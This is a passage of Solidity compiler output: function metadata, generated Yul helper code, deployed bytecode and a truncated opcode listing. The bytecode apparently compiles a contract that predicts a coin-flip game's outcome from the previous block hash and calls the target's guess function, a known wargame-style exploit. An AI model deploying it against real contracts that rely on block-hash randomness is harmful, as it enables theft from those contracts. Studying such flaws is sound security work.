"abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed": {
"entryPoint": 435,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"checked_div_t_uint256": {
"entryPoint": 462,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_sub_t_uint256": {
"entryPoint": 511,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_bool": {
"entryPoint": 563,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 575,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"panic_error_0x11": {
"entryPoint": 585,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"panic_error_0x12": {
"entryPoint": 632,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 679,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_bool": {
"entryPoint": 684,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:2217:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "67:77:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "77:22:2",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "92:6:2"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "86:5:2"
},
"nodeType": "YulFunctionCall",
"src": "86:13:2"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "77:5:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "132:5:2"
}
],
"functionName": {
"name": "validator_revert_t_bool",
"nodeType": "YulIdentifier",
"src": "108:23:2"
},
"nodeType": "YulFunctionCall",
"src": "108:30:2"
},
"nodeType": "YulExpressionStatement",
"src": "108:30:2"
}
]
},
"name": "abi_decode_t_bool_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "45:6:2",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "53:3:2",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "61:5:2",
"type": ""
}
],
"src": "7:137:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "224:271:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "270:83:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "272:77:2"
},
"nodeType": "YulFunctionCall",
"src": "272:79:2"
},
"nodeType": "YulExpressionStatement",
"src": "272:79:2"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "245:7:2"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "254:9:2"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "241:3:2"
},
"nodeType": "YulFunctionCall",
"src": "241:23:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "266:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "237:3:2"
},
"nodeType": "YulFunctionCall",
"src": "237:32:2"
},
"nodeType": "YulIf",
"src": "234:119:2"
},
{
"nodeType": "YulBlock",
"src": "363:125:2",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "378:15:2",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "392:1:2",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "382:6:2",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "407:71:2",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "450:9:2"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "461:6:2"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "446:3:2"
},
"nodeType": "YulFunctionCall",
"src": "446:22:2"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "470:7:2"
}
],
"functionName": {
"name": "abi_decode_t_bool_fromMemory",
"nodeType": "YulIdentifier",
"src": "417:28:2"
},
"nodeType": "YulFunctionCall",
"src": "417:61:2"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "407:6:2"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_bool_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "194:9:2",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "205:7:2",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "217:6:2",
"type": ""
}
],
"src": "150:345:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "560:50:2",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "577:3:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "597:5:2"
}
],
"functionName": {
"name": "cleanup_t_bool",
"nodeType": "YulIdentifier",
"src": "582:14:2"
},
"nodeType": "YulFunctionCall",
"src": "582:21:2"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "570:6:2"
},
"nodeType": "YulFunctionCall",
"src": "570:34:2"
},
"nodeType": "YulExpressionStatement",
"src": "570:34:2"
}
]
},
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "548:5:2",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "555:3:2",
"type": ""
}
],
"src": "501:109:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "708:118:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "718:26:2",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "730:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "741:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "726:3:2"
},
"nodeType": "YulFunctionCall",
"src": "726:18:2"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "718:4:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "792:6:2"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "805:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "816:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "801:3:2"
},
"nodeType": "YulFunctionCall",
"src": "801:17:2"
}
],
"functionName": {
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulIdentifier",
"src": "754:37:2"
},
"nodeType": "YulFunctionCall",
"src": "754:65:2"
},
"nodeType": "YulExpressionStatement",
"src": "754:65:2"
}
]
},
"name": "abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "680:9:2",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "692:6:2",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "703:4:2",
"type": ""
}
],
"src": "616:210:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "872:35:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "882:19:2",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "898:2:2",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "892:5:2"
},
"nodeType": "YulFunctionCall",
"src": "892:9:2"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "882:6:2"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "865:6:2",
"type": ""
}
],
"src": "832:75:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "955:143:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "965:25:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "988:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "970:17:2"
},
"nodeType": "YulFunctionCall",
"src": "970:20:2"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "965:1:2"
}
]
},
{
"nodeType": "YulAssignment",
"src": "999:25:2",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1022:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1004:17:2"
},
"nodeType": "YulFunctionCall",
"src": "1004:20:2"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "999:1:2"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "1046:22:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x12",
"nodeType": "YulIdentifier",
"src": "1048:16:2"
},
"nodeType": "YulFunctionCall",
"src": "1048:18:2"
},
"nodeType": "YulExpressionStatement",
"src": "1048:18:2"
}
]
},
"condition": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1043:1:2"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1036:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1036:9:2"
},
"nodeType": "YulIf",
"src": "1033:35:2"
},
{
"nodeType": "YulAssignment",
"src": "1078:14:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1087:1:2"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1090:1:2"
}
],
"functionName": {
"name": "div",
"nodeType": "YulIdentifier",
"src": "1083:3:2"
},
"nodeType": "YulFunctionCall",
"src": "1083:9:2"
},
"variableNames": [
{
"name": "r",
"nodeType": "YulIdentifier",
"src": "1078:1:2"
}
]
}
]
},
"name": "checked_div_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "944:1:2",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "947:1:2",
"type": ""
}
],
"returnVariables": [
{
"name": "r",
"nodeType": "YulTypedName",
"src": "953:1:2",
"type": ""
}
],
"src": "913:185:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1149:146:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1159:25:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1182:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1164:17:2"
},
"nodeType": "YulFunctionCall",
"src": "1164:20:2"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1159:1:2"
}
]
},
{
"nodeType": "YulAssignment",
"src": "1193:25:2",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1216:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1198:17:2"
},
"nodeType": "YulFunctionCall",
"src": "1198:20:2"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1193:1:2"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "1240:22:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "1242:16:2"
},
"nodeType": "YulFunctionCall",
"src": "1242:18:2"
},
"nodeType": "YulExpressionStatement",
"src": "1242:18:2"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1234:1:2"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1237:1:2"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "1231:2:2"
},
"nodeType": "YulFunctionCall",
"src": "1231:8:2"
},
"nodeType": "YulIf",
"src": "1228:34:2"
},
{
"nodeType": "YulAssignment",
"src": "1272:17:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1284:1:2"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1287:1:2"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1280:3:2"
},
"nodeType": "YulFunctionCall",
"src": "1280:9:2"
},
"variableNames": [
{
"name": "diff",
"nodeType": "YulIdentifier",
"src": "1272:4:2"
}
]
}
]
},
"name": "checked_sub_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "1135:1:2",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "1138:1:2",
"type": ""
}
],
"returnVariables": [
{
"name": "diff",
"nodeType": "YulTypedName",
"src": "1144:4:2",
"type": ""
}
],
"src": "1104:191:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1343:48:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1353:32:2",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1378:5:2"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1371:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1371:13:2"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1364:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1364:21:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1353:7:2"
}
]
}
]
},
"name": "cleanup_t_bool",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1325:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1335:7:2",
"type": ""
}
],
"src": "1301:90:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1442:32:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1452:16:2",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1463:5:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1452:7:2"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1424:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1434:7:2",
"type": ""
}
],
"src": "1397:77:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1508:152:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1525:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1528:77:2",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1518:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1518:88:2"
},
"nodeType": "YulExpressionStatement",
"src": "1518:88:2"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1622:1:2",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1625:4:2",
"type": "",
"value": "0x11"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1615:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1615:15:2"
},
"nodeType": "YulExpressionStatement",
"src": "1615:15:2"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1646:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1649:4:2",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1639:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1639:15:2"
},
"nodeType": "YulExpressionStatement",
"src": "1639:15:2"
}
]
},
"name": "panic_error_0x11",
"nodeType": "YulFunctionDefinition",
"src": "1480:180:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1694:152:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1711:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1714:77:2",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1704:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1704:88:2"
},
"nodeType": "YulExpressionStatement",
"src": "1704:88:2"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1808:1:2",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1811:4:2",
"type": "",
"value": "0x12"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1801:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1801:15:2"
},
"nodeType": "YulExpressionStatement",
"src": "1801:15:2"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1832:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1835:4:2",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1825:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1825:15:2"
},
"nodeType": "YulExpressionStatement",
"src": "1825:15:2"
}
]
},
"name": "panic_error_0x12",
"nodeType": "YulFunctionDefinition",
"src": "1666:180:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1941:28:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1958:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1961:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1951:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1951:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "1951:12:2"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "1852:117:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2064:28:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2081:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2084:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2074:6:2"
},
"nodeType": "YulFunctionCall",
"src": "2074:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "2074:12:2"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "1975:117:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2138:76:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2192:16:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2201:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2204:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2194:6:2"
},
"nodeType": "YulFunctionCall",
"src": "2194:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "2194:12:2"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2161:5:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2183:5:2"
}
],
"functionName": {
"name": "cleanup_t_bool",
"nodeType": "YulIdentifier",
"src": "2168:14:2"
},
"nodeType": "YulFunctionCall",
"src": "2168:21:2"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "2158:2:2"
},
"nodeType": "YulFunctionCall",
"src": "2158:32:2"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "2151:6:2"
},
"nodeType": "YulFunctionCall",
"src": "2151:40:2"
},
"nodeType": "YulIf",
"src": "2148:60:2"
}
]
},
"name": "validator_revert_t_bool",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2131:5:2",
"type": ""
}
],
"src": "2098:116:2"
}
]
},
"contents": "{\n\n function abi_decode_t_bool_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_bool(value)\n }\n\n function abi_decode_tuple_t_bool_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_bool_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_bool_to_t_bool_fromStack(value, pos) {\n mstore(pos, cleanup_t_bool(value))\n }\n\n function abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_bool_to_t_bool_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function checked_div_t_uint256(x, y) -> r {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n if iszero(y) { panic_error_0x12() }\n\n r := div(x, y)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n if lt(x, y) { panic_error_0x11() }\n\n diff := sub(x, y)\n }\n\n function cleanup_t_bool(value) -> cleaned {\n cleaned := iszero(iszero(value))\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function panic_error_0x12() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x12)\n revert(0, 0x24)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_bool(value) {\n if iszero(eq(value, cleanup_t_bool(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 2,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506004361061002b5760003560e01c80639e5faafc14610030575b600080fd5b61003861003a565b005b600061005060014361013690919063ffffffff16565b4060001c9050600061006d6001548361014c90919063ffffffff16565b9050600060018214610080576000610083565b60015b905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d263f67826040518263ffffffff1660e01b81526004016100de91906101b3565b602060405180830381600087803b1580156100f857600080fd5b505af115801561010c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101309190610177565b50505050565b6000818361014491906101ff565b905092915050565b6000818361015a91906101ce565b905092915050565b600081519050610171816102ac565b92915050565b60006020828403121561018d5761018c6102a7565b5b600061019b84828501610162565b91505092915050565b6101ad81610233565b82525050565b60006020820190506101c860008301846101a4565b92915050565b60006101d98261023f565b91506101e48361023f565b9250826101f4576101f3610278565b5b828204905092915050565b600061020a8261023f565b91506102158361023f565b92508282101561022857610227610249565b5b828203905092915050565b60008115159050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6102b581610233565b81146102c057600080fd5b5056fea26469706673582212202b32c9d68953c8371c7f396f8acd24eba832a699825d41de270a2a8a3cac4ad664736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x38 PUSH2 0x3A JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH2 0x50 PUSH1 0x1 NUMBER PUSH2 0x136 SWAP1 SWAP2 SWAP1 PUSH4 0xFFFFFFFF AND JUMP JUMPDEST BLOCKHASH PUSH1 0x0 SHR SWAP1 POP PUSH1 0x0 PUSH2 0x6D PUSH1 0x1 SLOAD DUP4 PUSH2 0x14C SWAP1 SWAP2 SWAP1 PUSH4 0xFFFFFFFF AND JUMP JUMPDEST SWAP1 POP PUSH1 0x0 PUSH1 0x1 DUP3 EQ PUSH2 0x80 JUMPI PUSH1 0x0 PUSH2 0x83 JUMP JUMPDEST PUSH1 0x1 JUMPDEST SWAP1 POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x1D263F67 DUP3 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xDE SWAP2 SWAP1 PUSH2 0x1B3 JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xF8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x10C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x130 SWAP2 SWAP1 PUSH2 0x177 JUMP JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 DUP4 PUSH2 0x144 SWAP2 SWAP1 PUSH2 0x1FF JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 DUP4 PUSH2 0x15A SWAP2 SWAP1 PUSH2 0x1CE JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x171 DUP2 PUSH2 0x2AC JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x18D JUMPI PUSH2 0x18C PUSH2 0x2A7 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x19B DUP5 DUP3 DUP6 ADD PUSH2 0x162 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x1AD DUP2 PUSH2 0x233 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1C8 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x1A4 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1D9 DUP3 PUSH2 0x23F JUMP JUMPDEST SWAP2 POP PUSH2 0x1E4 DUP4 PUSH2 0x23F JUMP JUMPDEST SWAP3 POP DUP3 PUSH2 0x1F4 JUMPI PUSH2 0x1F3 PUSH2 0x278 JUMP JUMPDEST JUMPDEST DUP3 DUP3 DIV SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x20A DUP3 PUSH2 0x23F JUMP JUMPDEST SWAP2 POP PUSH2 0x215 